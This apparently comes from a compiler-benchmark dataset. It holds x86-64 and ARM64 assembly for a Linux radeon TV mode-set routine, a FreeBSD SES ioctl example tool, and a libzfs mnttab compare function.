%edi movl -96(%rbp), %esi movq _RADEON_TV_ASYNC_RST@GOTPCREL(%rip), %rax orl (%rax), %esi movq _RADEON_CRT_ASYNC_RST@GOTPCREL(%rip), %rax orl (%rax), %esi movq _RADEON_TV_FIFO_ASYNC_RST@GOTPCREL(%rip), %rax orl (%rax), %esi callq _WREG32 movq _RADEON_TV_DAC_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi callq _RREG32 movl %eax, -92(%rbp) movq _RADEON_TV_DAC_NBLANK@GOTPCREL(%rip), %rax movl (%rax), %eax xorl $-1, %eax andl -92(%rbp), %eax movl %eax, -92(%rbp) movq _RADEON_TV_DAC_BGSLEEP@GOTPCREL(%rip), %rax movl (%rax), %eax movq _RADEON_TV_DAC_RDACPD@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_TV_DAC_GDACPD@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_TV_DAC_BDACPD@GOTPCREL(%rip), %rcx orl (%rcx), %eax orl -92(%rbp), %eax movl %eax, -92(%rbp) movq _RADEON_TV_DAC_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -92(%rbp), %esi callq _WREG32 movq _RADEON_TV_PLL_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_TVCLK_SRC_SEL_TVPLL@GOTPCREL(%rip), %rax movl (%rax), %edx xorl $-1, %edx xorl %esi, %esi callq _WREG32_PLL_P movq _RADEON_TV_PLL_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -124(%rbp), %esi callq _WREG32_PLL movq _RADEON_TV_PLL_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_TVPLL_RESET@GOTPCREL(%rip), %rax movl (%rax), %esi movq _RADEON_TVPLL_RESET@GOTPCREL(%rip), %rax movl (%rax), %edx xorl $-1, %edx callq _WREG32_PLL_P movq -8(%rbp), %rdi movl $200, %esi movl $800, %edx ## imm = 0x320 movl $135, %ecx callq _radeon_wait_pll_lock movq _RADEON_TV_PLL_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_TVPLL_RESET@GOTPCREL(%rip), %rax movl (%rax), %edx xorl $-1, %edx xorl %esi, %esi callq _WREG32_PLL_P movq -8(%rbp), %rdi movl $300, %esi ## imm = 0x12C movl $160, %edx movl $27, %ecx callq _radeon_wait_pll_lock movq -8(%rbp), %rdi movl $200, %esi movl $800, %edx ## imm = 0x320 movl $135, %ecx callq _radeon_wait_pll_lock movq _RADEON_TV_PLL_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi xorl %esi, %esi movl $4294967280, %edx ## imm = 0xFFFFFFF0 callq _WREG32_PLL_P movq _RADEON_TV_PLL_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_TVCLK_SRC_SEL_TVPLL@GOTPCREL(%rip), %rax movl (%rax), %esi movq _RADEON_TVCLK_SRC_SEL_TVPLL@GOTPCREL(%rip), %rax movl (%rax), %edx xorl $-1, %edx callq _WREG32_PLL_P movq _RADEON_TV_PLL_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_TVPDC_SHIFT@GOTPCREL(%rip), %rax movl (%rax), %ecx movl $1, %esi ## kill: def $cl killed $ecx shll %cl, %esi movq _RADEON_TVPDC_MASK@GOTPCREL(%rip), %rax movl (%rax), %edx xorl $-1, %edx callq _WREG32_PLL_P movq _RADEON_TV_PLL_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_TVPLL_SLEEP@GOTPCREL(%rip), %rax movl (%rax), %edx xorl $-1, %edx xorl %esi, %esi callq _WREG32_PLL_P movq _RADEON_TV_RGB_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -100(%rbp), %esi callq _WREG32 movq _RADEON_TV_HTOTAL@GOTPCREL(%rip), %rax movl (%rax), %edi movq -64(%rbp), %rax movl 8(%rax), %esi subl $1, %esi callq _WREG32 movq _RADEON_TV_HDISP@GOTPCREL(%rip), %rax movl (%rax), %edi movq -64(%rbp), %rax movl 4(%rax), %esi subl $1, %esi callq _WREG32 movq _RADEON_TV_HSTART@GOTPCREL(%rip), %rax movl (%rax), %edi movq -64(%rbp), %rax movl 12(%rax), %esi callq _WREG32 movq _RADEON_TV_VTOTAL@GOTPCREL(%rip), %rax movl (%rax), %edi movq -64(%rbp), %rax movl (%rax), %esi subl $1, %esi callq _WREG32 movq _RADEON_TV_VDISP@GOTPCREL(%rip), %rax movl (%rax), %edi movq -64(%rbp), %rax movl 16(%rax), %esi subl $1, %esi callq _WREG32 movq _RADEON_TV_FTOTAL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -132(%rbp), %esi callq _WREG32 movq _RADEON_TV_VSCALER_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi movl -116(%rbp), %esi callq _WREG32 movq _RADEON_TV_VSCALER_CNTL2@GOTPCREL(%rip), %rax movl (%rax), %edi movl -120(%rbp), %esi callq _WREG32 movq _RADEON_TV_Y_FALL_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -136(%rbp), %esi callq _WREG32 movq _RADEON_TV_Y_RISE_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -140(%rbp), %esi callq _WREG32 movq _RADEON_TV_Y_SAW_TOOTH_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -144(%rbp), %esi callq _WREG32 movq _RADEON_TV_MASTER_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -96(%rbp), %esi movq _RADEON_TV_ASYNC_RST@GOTPCREL(%rip), %rax orl (%rax), %esi movq _RADEON_CRT_ASYNC_RST@GOTPCREL(%rip), %rax orl (%rax), %esi callq _WREG32 movq -48(%rbp), %rdi callq _radeon_legacy_write_tv_restarts movq -48(%rbp), %rdi callq _radeon_restore_tv_timing_tables movq _RADEON_TV_MASTER_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -96(%rbp), %esi movq _RADEON_TV_ASYNC_RST@GOTPCREL(%rip), %rax orl (%rax), %esi callq _WREG32 movq _RADEON_TV_SYNC_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_SYNC_PUB@GOTPCREL(%rip), %rax movl (%rax), %esi movq _RADEON_TV_SYNC_IO_DRIVE@GOTPCREL(%rip), %rax orl (%rax), %esi callq _WREG32 movq _RADEON_TV_TIMING_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movq -56(%rbp), %rax movl 16(%rax), %esi callq _WREG32 movq _RADEON_TV_MODULATOR_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi movl -108(%rbp), %esi callq _WREG32 movq _RADEON_TV_MODULATOR_CNTL2@GOTPCREL(%rip), %rax movl (%rax), %edi movl -112(%rbp), %esi callq _WREG32 movq _RADEON_TV_PRE_DAC_MUX_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_Y_RED_EN@GOTPCREL(%rip), %rax movl (%rax), %esi movq _RADEON_C_GRN_EN@GOTPCREL(%rip), %rax orl (%rax), %esi movq _RADEON_CMP_BLU_EN@GOTPCREL(%rip), %rax orl (%rax), %esi movq _RADEON_DAC_DITHER_EN@GOTPCREL(%rip), %rax orl (%rax), %esi callq _WREG32 movq _RADEON_TV_CRC_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi xorl %esi, %esi callq _WREG32 movq _RADEON_TV_MASTER_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -96(%rbp), %esi callq _WREG32 movq _RADEON_TV_GAIN_LIMIT_SETTINGS@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_UV_GAIN_LIMIT_SHIFT@GOTPCREL(%rip), %rax movl (%rax), %ecx movl $383, %esi ## imm = 0x17F ## kill: def $cl killed $ecx shll %cl, %esi movq _RADEON_Y_GAIN_LIMIT_SHIFT@GOTPCREL(%rip), %rax movl (%rax), %ecx movl $1535, %eax ## imm = 0x5FF ## kill: def $cl killed $ecx shll %cl, %eax orl %eax, %esi callq _WREG32 movq _RADEON_TV_LINEAR_GAIN_SETTINGS@GOTPCREL(%rip), %rax movl (%rax), %edi movq _RADEON_UV_GAIN_SHIFT@GOTPCREL(%rip), %rax movl (%rax), %ecx movl $256, %esi ## imm = 0x100 ## kill: def $cl killed $ecx shll %cl, %esi movq _RADEON_Y_GAIN_SHIFT@GOTPCREL(%rip), %rax movl (%rax), %ecx movl $256, %eax ## imm = 0x100 ## kill: def $cl killed $ecx shll %cl, %eax orl %eax, %esi callq _WREG32 movq _RADEON_TV_DAC_CNTL@GOTPCREL(%rip), %rax movl (%rax), %edi movl -104(%rbp), %esi callq _WREG32 LBB0_84: addq $208, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _RADEON_VIN_ASYNC_RST,4,2 ## @RADEON_VIN_ASYNC_RST .comm _RADEON_CRT_FIFO_CE_EN,4,2 ## @RADEON_CRT_FIFO_CE_EN .comm _RADEON_TV_FIFO_CE_EN,4,2 ## @RADEON_TV_FIFO_CE_EN .comm _RADEON_TV_ON,4,2 ## @RADEON_TV_ON .comm _RADEON_TVCLK_ALWAYS_ONb,4,2 ## @RADEON_TVCLK_ALWAYS_ONb .comm _TV_STD_NTSC,8,3 ## @TV_STD_NTSC .comm _TV_STD_NTSC_J,8,3 ## @TV_STD_NTSC_J .comm _RADEON_RESTART_PHASE_FIX,4,2 ## @RADEON_RESTART_PHASE_FIX .comm _RADEON_SLEW_RATE_LIMIT,4,2 ## @RADEON_SLEW_RATE_LIMIT .comm _RADEON_SYNC_TIP_LEVEL,4,2 ## @RADEON_SYNC_TIP_LEVEL .comm _RADEON_YFLT_EN,4,2 ## @RADEON_YFLT_EN .comm _RADEON_UVFLT_EN,4,2 ## @RADEON_UVFLT_EN .comm _RADEON_CY_FILT_BLEND_SHIFT,4,2 ## @RADEON_CY_FILT_BLEND_SHIFT .comm _RADEON_SET_UP_LEVEL_SHIFT,4,2 ## @RADEON_SET_UP_LEVEL_SHIFT .comm _RADEON_BLANK_LEVEL_SHIFT,4,2 ## @RADEON_BLANK_LEVEL_SHIFT .comm _RADEON_TV_U_BURST_LEVEL_MASK,4,2 ## @RADEON_TV_U_BURST_LEVEL_MASK .comm _RADEON_TV_V_BURST_LEVEL_MASK,4,2 ## @RADEON_TV_V_BURST_LEVEL_MASK .comm _RADEON_TV_V_BURST_LEVEL_SHIFT,4,2 ## @RADEON_TV_V_BURST_LEVEL_SHIFT .comm _TV_STD_SCART_PAL,8,3 ## @TV_STD_SCART_PAL .comm _RADEON_ALT_PHASE_EN,4,2 ## @RADEON_ALT_PHASE_EN .comm _RADEON_RGB_DITHER_EN,4,2 ## @RADEON_RGB_DITHER_EN .comm _RADEON_TVOUT_SCALE_EN,4,2 ## @RADEON_TVOUT_SCALE_EN .comm _RADEON_UVRAM_READ_MARGIN_SHIFT,4,2 ## @RADEON_UVRAM_READ_MARGIN_SHIFT .comm _RADEON_FIFORAM_FFMACRO_READ_MARGIN_SHIFT,4,2 ## @RADEON_FIFORAM_FFMACRO_READ_MARGIN_SHIFT .comm _RADEON_RGB_SRC_SEL_CRTC2,4,2 ## @RADEON_RGB_SRC_SEL_CRTC2 .comm _RMX_OFF,8,3 ## @RMX_OFF .comm _RADEON_RGB_SRC_SEL_RMX,4,2 ## @RADEON_RGB_SRC_SEL_RMX .comm _RADEON_RGB_SRC_SEL_CRTC1,4,2 ## @RADEON_RGB_SRC_SEL_CRTC1 .comm _TV_STD_PAL_M,8,3 ## @TV_STD_PAL_M .comm _TV_STD_PAL_60,8,3 ## @TV_STD_PAL_60 .comm _NTSC_TV_LINES_PER_FRAME,4,2 ## @NTSC_TV_LINES_PER_FRAME .comm _PAL_TV_LINES_PER_FRAME,4,2 ## @PAL_TV_LINES_PER_FRAME .comm _RADEON_TV_VSCALER_CNTL1,4,2 ## @RADEON_TV_VSCALER_CNTL1 .comm _FRAC_BITS,4,2 ## @FRAC_BITS .comm _RADEON_RESTART_FIELD,4,2 ## @RADEON_RESTART_FIELD .comm _RADEON_Y_DEL_W_SIG_SHIFT,4,2 ## @RADEON_Y_DEL_W_SIG_SHIFT .comm _SLOPE_limit,8,3 ## @SLOPE_limit .comm _SLOPE_value,8,3 ## @SLOPE_value .comm _YCOEF_EN_value,8,3 ## @YCOEF_EN_value .comm _YCOEF_value,8,3 ## @YCOEF_value .comm _RADEON_Y_FALL_PING_PONG,4,2 ## @RADEON_Y_FALL_PING_PONG .comm _RADEON_Y_RISE_PING_PONG,4,2 ## @RADEON_Y_RISE_PING_PONG .comm _RADEON_TV_VSCALER_CNTL2,4,2 ## @RADEON_TV_VSCALER_CNTL2 .comm _RADEON_DITHER_MODE,4,2 ## @RADEON_DITHER_MODE .comm _RADEON_Y_OUTPUT_DITHER_EN,4,2 ## @RADEON_Y_OUTPUT_DITHER_EN .comm _RADEON_UV_OUTPUT_DITHER_EN,4,2 ## @RADEON_UV_OUTPUT_DITHER_EN .comm _RADEON_UV_TO_BUF_DITHER_EN,4,2 ## @RADEON_UV_TO_BUF_DITHER_EN .comm _RADEON_UV_INC_SHIFT,4,2 ## @RADEON_UV_INC_SHIFT .comm _RADEON_UV_INC_MASK,4,2 ## @RADEON_UV_INC_MASK .comm _RADEON_UV_OUTPUT_POST_SCALE_SHIFT,4,2 ## @RADEON_UV_OUTPUT_POST_SCALE_SHIFT .comm _RADEON_TV_DAC_NBLANK,4,2 ## @RADEON_TV_DAC_NBLANK .comm _RADEON_TV_DAC_NHOLD,4,2 ## @RADEON_TV_DAC_NHOLD .comm _RADEON_TV_DAC_STD_NTSC,4,2 ## @RADEON_TV_DAC_STD_NTSC .comm _RADEON_TV_DAC_STD_PAL,4,2 ## @RADEON_TV_DAC_STD_PAL .comm _NTSC_TV_PLL_M_27,4,2 ## @NTSC_TV_PLL_M_27 .comm _NTSC_TV_PLL_N_27,4,2 ## @NTSC_TV_PLL_N_27 .comm _NTSC_TV_PLL_P_27,4,2 ## @NTSC_TV_PLL_P_27 .comm _NTSC_TV_PLL_M_14,4,2 ## @NTSC_TV_PLL_M_14 .comm _NTSC_TV_PLL_N_14,4,2 ## @NTSC_TV_PLL_N_14 .comm _NTSC_TV_PLL_P_14,4,2 ## @NTSC_TV_PLL_P_14 .comm _PAL_TV_PLL_M_27,4,2 ## @PAL_TV_PLL_M_27 .comm _PAL_TV_PLL_N_27,4,2 ## @PAL_TV_PLL_N_27 .comm _PAL_TV_PLL_P_27,4,2 ## @PAL_TV_PLL_P_27 .comm _PAL_TV_PLL_M_14,4,2 ## @PAL_TV_PLL_M_14 .comm _PAL_TV_PLL_N_14,4,2 ## @PAL_TV_PLL_N_14 .comm _PAL_TV_PLL_P_14,4,2 ## @PAL_TV_PLL_P_14 .comm _RADEON_TV_M0LO_MASK,4,2 ## @RADEON_TV_M0LO_MASK .comm _RADEON_TV_M0HI_MASK,4,2 ## @RADEON_TV_M0HI_MASK .comm _RADEON_TV_M0HI_SHIFT,4,2 ## @RADEON_TV_M0HI_SHIFT .comm _RADEON_TV_N0LO_MASK,4,2 ## @RADEON_TV_N0LO_MASK .comm _RADEON_TV_N0LO_SHIFT,4,2 ## @RADEON_TV_N0LO_SHIFT .comm _RADEON_TV_N0HI_MASK,4,2 ## @RADEON_TV_N0HI_MASK .comm _RADEON_TV_N0HI_SHIFT,4,2 ## @RADEON_TV_N0HI_SHIFT .comm _RADEON_TV_P_MASK,4,2 ## @RADEON_TV_P_MASK .comm _RADEON_TV_P_SHIFT,4,2 ## @RADEON_TV_P_SHIFT .comm _RADEON_TVPCP_MASK,4,2 ## @RADEON_TVPCP_MASK .comm _RADEON_TVPCP_SHIFT,4,2 ## @RADEON_TVPCP_SHIFT .comm _RADEON_TVPVG_MASK,4,2 ## @RADEON_TVPVG_MASK .comm _RADEON_TVPVG_SHIFT,4,2 ## @RADEON_TVPVG_SHIFT .comm _RADEON_TVPDC_MASK,4,2 ## @RADEON_TVPDC_MASK .comm _RADEON_TVPDC_SHIFT,4,2 ## @RADEON_TVPDC_SHIFT .comm _RADEON_TVCLK_SRC_SEL_TVPLL,4,2 ## @RADEON_TVCLK_SRC_SEL_TVPLL .comm _RADEON_TVPLL_TEST_DIS,4,2 ## @RADEON_TVPLL_TEST_DIS .comm _NTSC_TV_VFTOTAL,4,2 ## @NTSC_TV_VFTOTAL .comm _hor_timing_NTSC,8,3 ## @hor_timing_NTSC .comm _vert_timing_NTSC,8,3 ## @vert_timing_NTSC .comm _hor_timing_PAL,8,3 ## @hor_timing_PAL .comm _vert_timing_PAL,8,3 ## @vert_timing_PAL .comm _PAL_TV_VFTOTAL,4,2 ## @PAL_TV_VFTOTAL .comm _MAX_H_CODE_TIMING_LEN,4,2 ## @MAX_H_CODE_TIMING_LEN .comm _MAX_V_CODE_TIMING_LEN,4,2 ## @MAX_V_CODE_TIMING_LEN .comm _RADEON_TV_MASTER_CNTL,4,2 ## @RADEON_TV_MASTER_CNTL .comm _RADEON_TV_ASYNC_RST,4,2 ## @RADEON_TV_ASYNC_RST .comm _RADEON_CRT_ASYNC_RST,4,2 ## @RADEON_CRT_ASYNC_RST .comm _RADEON_TV_FIFO_ASYNC_RST,4,2 ## @RADEON_TV_FIFO_ASYNC_RST .comm _RADEON_TV_DAC_CNTL,4,2 ## @RADEON_TV_DAC_CNTL .comm _RADEON_TV_DAC_BGSLEEP,4,2 ## @RADEON_TV_DAC_BGSLEEP .comm _RADEON_TV_DAC_RDACPD,4,2 ## @RADEON_TV_DAC_RDACPD .comm _RADEON_TV_DAC_GDACPD,4,2 ## @RADEON_TV_DAC_GDACPD .comm _RADEON_TV_DAC_BDACPD,4,2 ## @RADEON_TV_DAC_BDACPD .comm _RADEON_TV_PLL_CNTL1,4,2 ## @RADEON_TV_PLL_CNTL1 .comm _RADEON_TV_PLL_CNTL,4,2 ## @RADEON_TV_PLL_CNTL .comm _RADEON_TVPLL_RESET,4,2 ## @RADEON_TVPLL_RESET .comm _RADEON_TVPLL_SLEEP,4,2 ## @RADEON_TVPLL_SLEEP .comm _RADEON_TV_RGB_CNTL,4,2 ## @RADEON_TV_RGB_CNTL .comm _RADEON_TV_HTOTAL,4,2 ## @RADEON_TV_HTOTAL .comm _RADEON_TV_HDISP,4,2 ## @RADEON_TV_HDISP .comm _RADEON_TV_HSTART,4,2 ## @RADEON_TV_HSTART .comm _RADEON_TV_VTOTAL,4,2 ## @RADEON_TV_VTOTAL .comm _RADEON_TV_VDISP,4,2 ## @RADEON_TV_VDISP .comm _RADEON_TV_FTOTAL,4,2 ## @RADEON_TV_FTOTAL .comm _RADEON_TV_Y_FALL_CNTL,4,2 ## @RADEON_TV_Y_FALL_CNTL .comm _RADEON_TV_Y_RISE_CNTL,4,2 ## @RADEON_TV_Y_RISE_CNTL .comm _RADEON_TV_Y_SAW_TOOTH_CNTL,4,2 ## @RADEON_TV_Y_SAW_TOOTH_CNTL .comm _RADEON_TV_SYNC_CNTL,4,2 ## @RADEON_TV_SYNC_CNTL .comm _RADEON_SYNC_PUB,4,2 ## @RADEON_SYNC_PUB .comm _RADEON_TV_SYNC_IO_DRIVE,4,2 ## @RADEON_TV_SYNC_IO_DRIVE .comm _RADEON_TV_TIMING_CNTL,4,2 ## @RADEON_TV_TIMING_CNTL .comm _RADEON_TV_MODULATOR_CNTL1,4,2 ## @RADEON_TV_MODULATOR_CNTL1 .comm _RADEON_TV_MODULATOR_CNTL2,4,2 ## @RADEON_TV_MODULATOR_CNTL2 .comm _RADEON_TV_PRE_DAC_MUX_CNTL,4,2 ## @RADEON_TV_PRE_DAC_MUX_CNTL .comm _RADEON_Y_RED_EN,4,2 ## @RADEON_Y_RED_EN .comm _RADEON_C_GRN_EN,4,2 ## @RADEON_C_GRN_EN .comm _RADEON_CMP_BLU_EN,4,2 ## @RADEON_CMP_BLU_EN .comm _RADEON_DAC_DITHER_EN,4,2 ## @RADEON_DAC_DITHER_EN .comm _RADEON_TV_CRC_CNTL,4,2 ## @RADEON_TV_CRC_CNTL .comm _RADEON_TV_GAIN_LIMIT_SETTINGS,4,2 ## @RADEON_TV_GAIN_LIMIT_SETTINGS .comm _RADEON_UV_GAIN_LIMIT_SHIFT,4,2 ## @RADEON_UV_GAIN_LIMIT_SHIFT .comm _RADEON_Y_GAIN_LIMIT_SHIFT,4,2 ## @RADEON_Y_GAIN_LIMIT_SHIFT .comm _RADEON_TV_LINEAR_GAIN_SETTINGS,4,2 ## @RADEON_TV_LINEAR_GAIN_SETTINGS .comm _RADEON_UV_GAIN_SHIFT,4,2 ## @RADEON_UV_GAIN_SHIFT .comm _RADEON_Y_GAIN_SHIFT,4,2 ## @RADEON_Y_GAIN_SHIFT .subsections_via_symbols
AnghaBench/linux/drivers/gpu/drm/radeon/extr_radeon_legacy_tv.c_radeon_legacy_tv_mode_set.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] stur w0, [x29, #-8] stur x1, [x29, #-16] ldur w8, [x29, #-8] subs w8, w8, #7 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_1 LBB0_1: b LBB0_2 LBB0_2: adrp x8, _stderr@GOTPAGE ldr x8, [x8, _stderr@GOTPAGEOFF] ldr w0, [x8] ldur x8, [x29, #-16] ldr x2, [x8] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _fprintf mov w8, #1 stur w8, [x29, #-4] b LBB0_16 LBB0_3: ldur x8, [x29, #-16] ldr x0, [x8, #8] adrp x8, _O_RDWR@GOTPAGE ldr x8, [x8, _O_RDWR@GOTPAGEOFF] ldr w1, [x8] bl _open stur w0, [x29, #-20] ldur w8, [x29, #-20] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldur x8, [x29, #-16] ldr x0, [x8, #8] bl _perror mov w8, #1 stur w8, [x29, #-4] b LBB0_16 LBB0_5: ldur x8, [x29, #-16] ldr x8, [x8, #16] add x1, sp, #8 str x8, [sp, #8] ldur x8, [x29, #-16] ldr x0, [x8, #16] mov w2, #0 bl _strtol str x0, [sp, #16] ldr x8, [sp, #8] ldur x9, [x29, #-16] ldr x9, [x9, #16] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: b LBB0_2 LBB0_7: ldr x8, [sp, #16] str x8, [sp, #24] stur wzr, [x29, #-24] b LBB0_8 LBB0_8: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-24] subs w8, w8, #4 cset w8, ge tbnz w8, #0, LBB0_13 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_8 Depth=1 ldur x8, [x29, #-16] ldur w9, [x29, #-24] add w9, w9, #3 ldr x8, [x8, w9, sxtw #3] add x1, sp, #8 str x8, [sp, #8] ldur x8, [x29, #-16] ldur w9, [x29, #-24] add w9, w9, #3 ldr x0, [x8, w9, sxtw #3] mov w2, #0 bl _strtol str x0, [sp, #16] ldr x8, [sp, #8] ldur x9, [x29, #-16] ldur w10, [x29, #-24] add w10, w10, #3 ldr x9, [x9, w10, sxtw #3] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: b LBB0_2 LBB0_11: ; in Loop: Header=BB0_8 Depth=1 ldr x8, [sp, #16] ldr x9, [sp, #32] ldursw x10, [x29, #-24] str x8, [x9, x10, lsl #3] b LBB0_12 LBB0_12: ; in Loop: Header=BB0_8 Depth=1 ldur w8, [x29, #-24] add w8, w8, #1 stur w8, [x29, #-24] b LBB0_8 LBB0_13: ldur w0, [x29, #-20] adrp x8, _ENCIOC_SETELMSTAT@GOTPAGE ldr x8, [x8, _ENCIOC_SETELMSTAT@GOTPAGEOFF] ldr w1, [x8] add x8, sp, #24 mov x2, x8 bl _ioctl subs x8, x0, #0 cset w8, ge tbnz w8, #0, LBB0_15 b LBB0_14 LBB0_14: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _perror b LBB0_15 LBB0_15: ldur w0, [x29, #-20] bl _close stur wzr, [x29, #-4] b LBB0_16 LBB0_16: ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .comm _stderr,4,2 ; @stderr .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "usage: %s device objectid stat0 stat1 stat2 stat3\n" .comm _O_RDWR,4,2 ; @O_RDWR .comm _ENCIOC_SETELMSTAT,4,2 ; @ENCIOC_SETELMSTAT l_.str.1: ; @.str.1 .asciz "ENCIOC_SETELMSTAT" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) cmpl $7, -8(%rbp) je LBB0_3 ## %bb.1: jmp LBB0_2 LBB0_2: movq _stderr@GOTPCREL(%rip), %rax movl (%rax), %edi movq -16(%rbp), %rax movq (%rax), %rdx leaq L_.str(%rip), %rsi callq _fprintf movl $1, -4(%rbp) jmp LBB0_16 LBB0_3: movq -16(%rbp), %rax movq 8(%rax), %rdi movq _O_RDWR@GOTPCREL(%rip), %rax movl (%rax), %esi callq _open movl %eax, -20(%rbp) cmpl $0, -20(%rbp) jge LBB0_5 ## %bb.4: movq -16(%rbp), %rax movq 8(%rax), %rdi callq _perror movl $1, -4(%rbp) jmp LBB0_16 LBB0_5: movq -16(%rbp), %rax movq 16(%rax), %rax movq %rax, -56(%rbp) movq -16(%rbp), %rax movq 16(%rax), %rdi leaq -56(%rbp), %rsi xorl %edx, %edx callq _strtol movq %rax, -48(%rbp) movq -56(%rbp), %rax movq -16(%rbp), %rcx cmpq 16(%rcx), %rax jne LBB0_7 ## %bb.6: jmp LBB0_2 LBB0_7: movq -48(%rbp), %rax movq %rax, -40(%rbp) movl $0, -24(%rbp) LBB0_8: ## =>This Inner Loop Header: Depth=1 cmpl $4, -24(%rbp) jge LBB0_13 ## %bb.9: ## in Loop: Header=BB0_8 Depth=1 movq -16(%rbp), %rax movl -24(%rbp), %ecx addl $3, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax movq %rax, -56(%rbp) movq -16(%rbp), %rax movl -24(%rbp), %ecx addl $3, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rdi leaq -56(%rbp), %rsi xorl %edx, %edx callq _strtol movq %rax, -48(%rbp) movq -56(%rbp), %rax movq -16(%rbp), %rcx movl -24(%rbp), %edx addl $3, %edx movslq %edx, %rdx cmpq (%rcx,%rdx,8), %rax jne LBB0_11 ## %bb.10: jmp LBB0_2 LBB0_11: ## in Loop: Header=BB0_8 Depth=1 movq -48(%rbp), %rdx movq -32(%rbp), %rax movslq -24(%rbp), %rcx movq %rdx, (%rax,%rcx,8) ## %bb.12: ## in Loop: Header=BB0_8 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB0_8 LBB0_13: movl -20(%rbp), %edi movq _ENCIOC_SETELMSTAT@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -40(%rbp), %rax movl %eax, %edx callq _ioctl cmpq $0, %rax jge LBB0_15 ## %bb.14: leaq L_.str.1(%rip), %rdi callq _perror LBB0_15: movl -20(%rbp), %edi callq _close movl $0, -4(%rbp) LBB0_16: movl -4(%rbp), %eax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _stderr,4,2 ## @stderr .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "usage: %s device objectid stat0 stat1 stat2 stat3\n" .comm _O_RDWR,4,2 ## @O_RDWR .comm _ENCIOC_SETELMSTAT,4,2 ## @ENCIOC_SETELMSTAT L_.str.1: ## @.str.1 .asciz "ENCIOC_SETELMSTAT" .subsections_via_symbols
AnghaBench/freebsd/share/examples/ses/srcs/extr_setobjstat.c_main.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function libzfs_mnttab_cache_compare _libzfs_mnttab_cache_compare: ; @libzfs_mnttab_cache_compare .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] ldur x8, [x29, #-8] str x8, [sp, #24] ldur x8, [x29, #-16] str x8, [sp, #16] ldr x8, [sp, #24] ldr w0, [x8] ldr x8, [sp, #16] ldr w1, [x8] bl _strcmp str w0, [sp, #12] ldr w0, [sp, #12] bl _AVL_ISIGN ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .no_dead_strip _libzfs_mnttab_cache_compare .subsections_via_symbols
